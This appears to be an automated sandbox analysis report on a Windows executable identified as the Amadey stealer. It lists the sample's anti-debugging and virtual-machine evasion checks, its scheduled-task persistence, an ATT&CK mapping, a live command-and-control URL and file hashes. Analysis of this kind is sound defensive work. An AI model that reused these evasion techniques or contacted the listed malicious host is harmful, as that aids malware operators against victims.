                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090494 second address: 50904AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [esi+48h], 00000001h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5A14B6C83Ah 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50904AC second address: 50904D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F5A86BD4C0Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5A147D6A30h 0x00000018 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50904D5 second address: 50904E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50806FA second address: 5080797 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov esi, 00AD4533h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov edx, 240E45FAh 0x00000015 mov dx, C7C6h 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F5A147D6A33h 0x00000022 add ah, 0000004Eh 0x00000025 jmp 00007F5A147D6A39h 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007F5A147D6A30h 0x00000031 jmp 00007F5A147D6A35h 0x00000036 popfd 0x00000037 popad 0x00000038 mov ebp, esp 0x0000003a jmp 00007F5A147D6A2Eh 0x0000003f and esp, FFFFFFF8h 0x00000042 jmp 00007F5A147D6A30h 0x00000047 xchg eax, ebx 0x00000048 pushad 0x00000049 push esi 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
                    Tries to evade debugger and weak emulator (self modifying code)
                    Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 42EC6B instructions caused by: Self-modifying code
                    Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 65F7D4 instructions caused by: Self-modifying code
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSpecial instruction interceptor: First address: D7EC6B instructions caused by: Self-modifying code
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSpecial instruction interceptor: First address: FAF7D4 instructions caused by: Self-modifying code
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
                    Source: C:\Users\user\Desktop\file.exeCode function: 0_2_051102FB rdtsc 0_2_051102FB
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread delayed: delay time: 180000Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 1039Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 1030Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 1069Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 429Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 1090Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 1028Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow / User API: threadDelayed 1086Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5896Thread sleep count: 1039 > 30Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5896Thread sleep time: -2079039s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4692Thread sleep count: 1030 > 30Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4692Thread sleep time: -2061030s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6164Thread sleep count: 1069 > 30Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6164Thread sleep time: -2139069s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5724Thread sleep count: 429 > 30Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5724Thread sleep time: -12870000s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6260Thread sleep time: -180000s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5092Thread sleep count: 1090 > 30Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5092Thread sleep time: -2181090s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5444Thread sleep count: 1028 > 30Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5444Thread sleep time: -2057028s >= -30000sJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5956Thread sleep count: 1086 > 30Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5956Thread sleep time: -2173086s >= -30000sJump to behavior
                    Source: C:\Users\user\Desktop\file.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread delayed: delay time: 30000Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread delayed: delay time: 180000Jump to behavior
                    Source: axplong.exe, axplong.exe, 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B27000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW8
                    Source: axplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                    Source: file.exe, 00000000.00000002.1600038784.00000000005B0000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.1639212651.0000000000F00000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.1646334569.0000000000F00000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
                    Source: C:\Users\user\Desktop\file.exeSystem information queried: ModuleInformationJump to behavior
                    Source: C:\Users\user\Desktop\file.exeProcess information queried: ProcessInformationJump to behavior

                    Anti Debugging

                    barindex
                    Hides threads from debuggers
                    Source: C:\Users\user\Desktop\file.exeThread information set: HideFromDebuggerJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread information set: HideFromDebuggerJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread information set: HideFromDebuggerJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeThread information set: HideFromDebuggerJump to behavior
                    Potentially malicious time measurement code found
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_04F30DEA Start: 04F30E1F End: 04F30DFE7_2_04F30DEA
                    Tries to detect sandboxes and other dynamic analysis tools (window names)
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: regmonclass
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: gbdyllo
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: procmon_window_class
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: ollydbg
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: filemonclass
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: NTICE
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: SICE
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: SIWVID
                    Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                    Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                    Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeProcess queried: DebugPortJump to behavior
                    Source: C:\Users\user\Desktop\file.exeCode function: 0_2_051102FB rdtsc 0_2_051102FB
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D4645B mov eax, dword ptr fs:[00000030h]7_2_00D4645B
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D4A1C2 mov eax, dword ptr fs:[00000030h]7_2_00D4A1C2
                    Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" Jump to behavior
                    Source: axplong.exe, axplong.exe, 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpBinary or memory string: Program Manager
                    Source: file.exe, 00000000.00000002.1600038784.00000000005B0000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.1639212651.0000000000F00000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.1646334569.0000000000F00000.00000040.00000001.01000000.00000007.sdmpBinary or memory string: UBProgram Manager
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D2D312 cpuid 7_2_00D2D312
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeQueries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformationJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D2CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,7_2_00D2CB1A

                    Stealing of Sensitive Information

                    barindex
                    Yara detected Amadeys stealer DLL
                    Source: Yara matchFile source: 3.2.axplong.exe.d10000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.axplong.exe.d10000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 7.2.axplong.exe.d10000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.file.exe.3c0000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000002.00000002.1639117763.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000003.00000003.1600539276.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.1599973179.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000003.1559809614.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000007.00000003.1935678537.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000003.1598600536.0000000005310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000003.00000002.1644644510.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

                    Mitre Att&ck Matrix

                    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                    Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
                    Command and Scripting Interpreter                    		1
                    Scheduled Task/Job                    		12
                    Process Injection                    		1
                    Masquerading                    		OS Credential Dumping1
                    System Time Discovery                    		Remote Services1
                    Archive Collected Data                    		1
                    Encrypted Channel                    		Exfiltration Over Other Network MediumAbuse Accessibility Features
                    CredentialsDomainsDefault Accounts1
                    Scheduled Task/Job                    		1
                    DLL Side-Loading                    		1
                    Scheduled Task/Job                    		251
                    Virtualization/Sandbox Evasion                    		LSASS Memory741
                    Security Software Discovery                    		Remote Desktop ProtocolData from Removable Media1
                    Ingress Tool Transfer                    		Exfiltration Over BluetoothNetwork Denial of Service
                    Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                    DLL Side-Loading                    		12
                    Process Injection                    		Security Account Manager2
                    Process Discovery                    		SMB/Windows Admin SharesData from Network Shared Drive1
                    Non-Application Layer Protocol                    		Automated ExfiltrationData Encrypted for Impact
                    Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook2
                    Obfuscated Files or Information                    		NTDS251
                    Virtualization/Sandbox Evasion                    		Distributed Component Object ModelInput Capture11
                    Application Layer Protocol                    		Traffic DuplicationData Destruction
                    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script12
                    Software Packing                    		LSA Secrets1
                    Application Window Discovery                    		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                    DLL Side-Loading                    		Cached Domain Credentials1
                    File and Directory Discovery                    		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup ItemsCompile After DeliveryDCSync224
                    System Information Discovery                    		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

                    Behavior Graph

                    Hide Legend

                    Legend:

                    • Process
                    • Signature
                    • Created File
                    • DNS/IP Info
                    • Is Dropped
                    • Is Windows Process
                    • Number of created Registry Values
                    • Number of created Files
                    • Visual Basic
                    • Delphi
                    • Java
                    • .Net C# or VB.NET
                    • C, C++ or other language
                    • Is malicious
                    • Internet

                    Screenshots

                    Thumbnails

                    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                    windows-stand

                    Antivirus, Machine Learning and Genetic Malware Detection

                    Initial Sample

                    SourceDetectionScannerLabelLink
                    file.exe100%AviraTR/Crypt.TPM.Gen
                    file.exe100%Joe Sandbox ML

                    Dropped Files

                    SourceDetectionScannerLabelLink
                    C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe100%AviraTR/Crypt.TPM.Gen
                    C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe100%Joe Sandbox ML
                    C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe55%ReversingLabsWin32.Packed.Themida

                    Unpacked PE Files

                    ⊘No Antivirus matches

                    Domains

                    ⊘No Antivirus matches

                    URLs

                    SourceDetectionScannerLabelLink
                    http://185.215.113.16/Jo89Ku7d/index.phpdeds100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.phpl100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.php100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.phpncodeda100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.phpk100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.phpj100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.phpG100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.phpcoded9100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.phpN100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.php7100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.phpncoded100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.phpO100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.phpS100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.phpBg1&cm100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.phpw100%Avira URL Cloudphishing
                    http://185.215.113.16/Jo89Ku7d/index.php0100%Avira URL Cloudphishing

                    Domains and IPs

                    Contacted Domains

                    ⊘No contacted domains info

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    http://185.215.113.16/Jo89Ku7d/index.phptrue
                    • Avira URL Cloud: phishing
                    		unknown

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    http://185.215.113.16/Jo89Ku7d/index.phpNaxplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: phishing
                    		unknown
                    http://185.215.113.16/Jo89Ku7d/index.phpncodedaaxplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: phishing
                    		unknown
                    http://185.215.113.16/Jo89Ku7d/index.phplaxplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: phishing
                    		unknown
                    http://185.215.113.16/Jo89Ku7d/index.phpkaxplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: phishing
                    		unknown
                    http://185.215.113.16/Jo89Ku7d/index.phpdedsaxplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: phishing
                    		unknown
                    http://185.215.113.16/Jo89Ku7d/index.phpjaxplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: phishing
                    		unknown
                    http://185.215.113.16/Jo89Ku7d/index.phpGaxplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: phishing
                    		unknown
                    http://185.215.113.16/Jo89Ku7d/index.php7axplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: phishing
                    		unknown
                    http://185.215.113.16/Jo89Ku7d/index.phpcoded9axplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: phishing
                    		unknown
                    http://185.215.113.16/Jo89Ku7d/index.phpwaxplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: phishing
                    		unknown
                    http://185.215.113.16/Jo89Ku7d/index.phpSaxplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: phishing
                    		unknown
                    http://185.215.113.16/Jo89Ku7d/index.phpsaxplong.exe, 00000007.00000002.2783076434.0000000000B27000.00000004.00000020.00020000.00000000.sdmpfalse
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.php0axplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpBg1&cmaxplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpOaxplong.exe, 00000007.00000002.2783076434.0000000000B69000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      http://185.215.113.16/Jo89Ku7d/index.phpncodedaxplong.exe, 00000007.00000002.2783076434.0000000000B50000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown

                      World Map of Contacted IPs

                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs

                      Public IPs

                      IPDomainCountryFlagASNASN NameMalicious
                      185.215.113.16
                      		unknownPortugal
                      		206894WHOLESALECONNECTIONSNLtrue

                      General Information

                      Joe Sandbox version:41.0.0 Charoite
                      Analysis ID:1520232
                      Start date and time:2024-09-27 07:00:12 +02:00
                      Joe Sandbox product:CloudBasic
                      Overall analysis duration:0h 6m 25s
                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Cookbook file name:default.jbs
                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                      Number of analysed new started processes analysed:10
                      Number of new started drivers analysed:0
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:0
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Sample name:file.exe
                      Detection:MAL
                      Classification:mal100.troj.spyw.evad.winEXE@5/3@0/1
                      EGA Information:
                      • Successful, ratio: 25%
                      HCA Information:Failed
                      Cookbook Comments:
                      • Found application associated with file extension: .exe

                      Warnings

                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                      • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                      • Execution Graph export aborted for target axplong.exe, PID 348 because there are no executed function
                      • Execution Graph export aborted for target axplong.exe, PID 4916 because there are no executed function
                      • Execution Graph export aborted for target file.exe, PID 3848 because it is empty
                      • Not all processes where analyzed, report is missing behavior information
                      • Report size getting too big, too many NtDeviceIoControlFile calls found.
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                      • Report size getting too big, too many NtQueryValueKey calls found.
                      • VT rate limit hit for: file.exe

                      Simulations

                      Behavior and APIs

                      TimeTypeDescription
                      01:02:03API Interceptor1196330x Sleep call for process: axplong.exe modified
                      07:01:26Task SchedulerRun new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

                      Joe Sandbox View / Context

                      IPs

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      185.215.113.16file.exeGet hashmaliciousAmadeyBrowse
                      • 185.215.113.16/Jo89Ku7d/index.php
                      file.exeGet hashmaliciousLummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5SystemzBrowse
                      • 185.215.113.16/Jo89Ku7d/index.php
                      file.exeGet hashmaliciousAmadeyBrowse
                      • 185.215.113.16/Jo89Ku7d/index.php
                      file.exeGet hashmaliciousAmadeyBrowse
                      • 185.215.113.16/Jo89Ku7d/index.php
                      file.exeGet hashmaliciousAmadeyBrowse
                      • 185.215.113.16/Jo89Ku7d/index.php
                      file.exeGet hashmaliciousAmadeyBrowse
                      • 185.215.113.16/Jo89Ku7d/index.php
                      file.exeGet hashmaliciousAmadeyBrowse
                      • 185.215.113.16/Jo89Ku7d/index.php
                      file.exeGet hashmaliciousAmadey, DarkTortillaBrowse
                      • 185.215.113.16/Jo89Ku7d/index.php
                      file.exeGet hashmaliciousAmadeyBrowse
                      • 185.215.113.16/Jo89Ku7d/index.php
                      file.exeGet hashmaliciousAmadeyBrowse
                      • 185.215.113.16/Jo89Ku7d/index.php

                      Domains

                      ⊘No context

                      ASNs

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      WHOLESALECONNECTIONSNLfile.exeGet hashmaliciousStealc, VidarBrowse
                      • 185.215.113.37
                      file.exeGet hashmaliciousAmadeyBrowse
                      • 185.215.113.16
                      file.exeGet hashmaliciousStealcBrowse
                      • 185.215.113.37
                      file.exeGet hashmaliciousLummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5SystemzBrowse
                      • 185.215.113.103
                      file.exeGet hashmaliciousStealc, VidarBrowse
                      • 185.215.113.37
                      file.exeGet hashmaliciousAmadeyBrowse
                      • 185.215.113.16
                      file.exeGet hashmaliciousStealcBrowse
                      • 185.215.113.37
                      file.exeGet hashmaliciousAmadeyBrowse
                      • 185.215.113.16
                      file.exeGet hashmaliciousStealcBrowse
                      • 185.215.113.37
                      file.exeGet hashmaliciousStealc, VidarBrowse
                      • 185.215.113.37

                      JA3 Fingerprints

                      ⊘No context

                      Dropped Files

                      ⊘No context

                      Created / dropped Files

                      C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

                      Download File
                      Process:C:\Users\user\Desktop\file.exe
                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                      Category:dropped
                      Size (bytes):1929216
                      Entropy (8bit):7.948527260003782
                      Encrypted:false
                      SSDEEP:24576:sBXMvpr340IwfskIs1FtX9dfjiNrxKc9I82ev86U9knHyslZvZKm4JiL3QBf1Ci2:R6wfskJXdrimc9/rEgXnO8
                      MD5:17DCD72D51948D374C79BE3A52BB647A
                      SHA1:0C97827E45EA2420546FB335350648F5EA7F6B63
                      SHA-256:6A0776DF2D53513AA8AA6152F52903AC8631F2438B3DFFCCB5EE0C9C8682A48E
                      SHA-512:0ABAA9010FF909F7BD30200BA884161F56CC3A18B44CF8355BB5BA513B746EC0A87DAE7CB02E374814D419F53233AADAE894A3BDB9D641F43CE89914B5438F65
                      Malicious:true
                      Antivirus:
                      • Antivirus: Avira, Detection: 100%
                      • Antivirus: Joe Sandbox ML, Detection: 100%
                      • Antivirus: ReversingLabs, Detection: 55%
                      Reputation:low
                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f............................. L...........@..........................PL...........@.................................W...k.............................L.............................8.L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...mrrxutca.`....1..T..................@...gmpmgtcb......L......H..............@....taggant.0... L.."...N..............@...........................................................................................................................................................................................................................

                      C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

                      Download File
                      Process:C:\Users\user\Desktop\file.exe
                      File Type:ASCII text, with CRLF line terminators
                      Category:modified
                      Size (bytes):26
                      Entropy (8bit):3.95006375643621
                      Encrypted:false
                      SSDEEP:3:ggPYV:rPYV
                      MD5:187F488E27DB4AF347237FE461A079AD
                      SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                      SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
